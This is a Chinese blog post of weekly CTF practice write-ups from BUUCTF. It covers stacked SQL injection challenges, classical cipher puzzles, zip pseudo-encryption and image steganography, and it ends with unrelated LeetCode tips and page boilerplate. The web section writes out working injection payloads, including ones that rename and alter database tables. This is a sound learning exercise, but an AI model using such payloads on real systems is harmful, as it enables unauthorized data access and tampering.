每周刷题(二)

题目来源:BUUCTF

web 1[强网杯 2019]随便注

在这里插入图片描述
先判断是否有注入点,试一下1'

在这里插入图片描述
注入点找到了

然后判断出列数
在这里插入图片描述
222222

再用1' union select 1,database(); #出现了报错
在这里插入图片描述
select等字符被过滤了,正常注入不能用,报错注入也不行!

看了下大师傅的WP尝试用堆叠注入。

我们先构造payload:1' ;show database; #
在这里插入图片描述
再次构造payload1' ;show tables; #查看有几个表
在这里插入图片描述
只有两个表
从两个表里,我们再查询列
构造payload:0'; show columns from words ;#
在这里插入图片描述
再构造payload:

0';show columns from `1919810931114514`;#

先前忘了给字符加单引号,试了n次也没成功!到最后加字符才知道自己的无知太可怕,浪费了很多时间!!!

在这里插入图片描述

找到了flag的的列,下一步就是如何让他回显出来

上图,我们知道正则匹配过滤了很多字符,但是没有过滤alertrename,这就可以来波骚姿势了

①先把words表改为word1

②再利用rename将1919810931114514这个表修改为word

③再将flag字段修改成id

构造payload:

0';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

在这里插入图片描述
emmmmm,用1';show tables;#
在这里插入图片描述

修改成功了

访问0' or '1'='1

在这里插入图片描述
得到flag

这波有点小细节浪费了点时间。这道题对于我来说新知识太多了,待好好消化。

web 2 EasySQL

在这里插入图片描述

刚刚学会堆叠注入,这又来了一道

先构造payload:1 ;show databases ;
在这里插入图片描述

得到数据库

再看表1 ;show tables;
在这里插入图片描述
有个flag表

show columns from Flag???

不行的

看大师傅wp神之payload,根据报错写出了查询语句select $_GET['query'] || flag from flag

||意思是或,前面的语句为真,后面的语句便不再执行。

第一种思路

payload:*,1

那为什么payload能得到flag了

sql=select.post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,
就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。

第二种思路

就是把||作为拼接符,再Oracle是支持的,但在MySQL里需要更改sql-mode

然后构造payload:1;set sql_mode=PIPES_AS_CONCAT;select 1

在这里插入图片描述

web题是真的难啊
!!!

Cyrto 1信息化时代的步伐

这是伟人说的一句话

打开附件得到606046152623600817831216121621196386

这种加密方式是:中文电码

在这里插入图片描述
哈哈哈哈哈,笑死我了

Cypto 2 凯撒?替换?呵呵!

拿到一串字符:MTHJ{CUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZOHIXOEOWMEHZO}

我以为是变异凯撒,但找了n遍也没有找到规律。

看大师傅 wp,用了暴力破解

在这里插入图片描述
直接solve

在这里插入图片描述
第一个flag转小写,切记去掉所有空格,要不然会出错

Cypto 3 old-fashion

得到一串字符

Os drnuzearyuwn, y jtkjzoztzoes douwlr oj y ilzwex eq lsdexosa kn pwodw tsozj eq ufyoszlbz yrl rlufydlx pozw douwlrzlbz, ydderxosa ze y rlatfyr jnjzli; mjy gfbmw vla xy wbfnsy symmyew (mjy vrwm qrvvrf), hlbew rd symmyew, mebhsymw rd symmyew, vbomgeyw rd mjy lxrzy, lfk wr dremj. Mjy eyqybzye kyqbhjyew mjy myom xa hyedrevbfn lf bfzyewy wgxwmbmgmbrf. Wr mjy dsln bw f1_2jyf-k3_jg1-vb-vl_l

没得感觉,按照上题就试了暴力破解

这句话总感觉怪怪的

Wr mjy dsln bw f1_2jyf-k3_jg1-vb-vl_l

在这里插入图片描述
hhhhh

Misc 1 zip伪加密

伪加密,我解决方法有两种

使用工具

在这里插入图片描述
直接破解

第二种,拉进winhex

在这里插入图片描述
原本的00 00改为09 00就会提示有密码了,换为00 00伪加密就没了

Misc 2 ningen

得到一张图片

在这里插入图片描述
试着用Binwalk分析

分离出一个zip压缩包

但是有密码,直接去爆破

在这里插入图片描述
得到flag

Misc 3 镜子里面的世界

在这里插入图片描述

文件名字就带有steg,我们直接就用隐写工具,仔细看几遍

red 0,green 0,blue 0最上方都有一串东西

我们data extract找到这三个通道

在这里插入图片描述

最后一行,就是flag了,以文本形式保存下来

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
对于LeetCode刷题,我可以提供一些指导和建议。LeetCode是一个非常受欢迎的在线编程平台,提供了大量的编程题目,涵盖各种算法和数据结构的知识点。 要有效地刷LeetCode题目,以下是一些建议: 1. 熟悉常见的数据结构和算法:在开始刷题之前,你需要对常见的数据结构(如数组、链表、栈、队列、树等)和算法(如排序、查找、递归、动态规划等)有一定的了解。 2. 刷题顺序:可以按照题目的难度或者类型进行刷题。刚开始可以选择一些简单的题目,逐渐提升到中等和困难难度的题目。另外,可以按照题目类型进行分类刷题,比如数组、链表、树等。 3. 题目分析:在开始解题之前,仔细阅读题目,并理解问题的要求。可以考虑一些边界情况和特殊情况。 4. 设计合适的解决方案:根据题目要求,设计出符合要求的解决方案。可以先在纸上画图或者写伪代码,再实现代码。 5. 编写高质量的代码:编写代码时,注意代码的可读性、可维护性和效率。可以考虑使用适当的数据结构和算法来优化代码。 6. 调试和测试:编写完代码后,进行调试和测试,确保代码能够正确地解决问题。 7. 多解法比较:对于一道题目,可以尝试不同的解法,比较它们的优劣,并分析其时间复杂度和空间复杂度。 8. 学习他人的解法:在刷题过程中,可以参考他人的解题思路和代码,并学习其中的优秀之处。 9. 刷题计划:可以制定一个刷题计划,每天或每周刷一定数量的题目,并坚持下去。 10. 总结和复习:在刷题过程中,及时总结自己的思考和解题过程,对于一些常见的算法和技巧进行复习和加深理解。 希望以上的建议对你有所帮助。祝你在LeetCode刷题中取得好成绩!如果你有其他问题,也欢迎继续提问。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值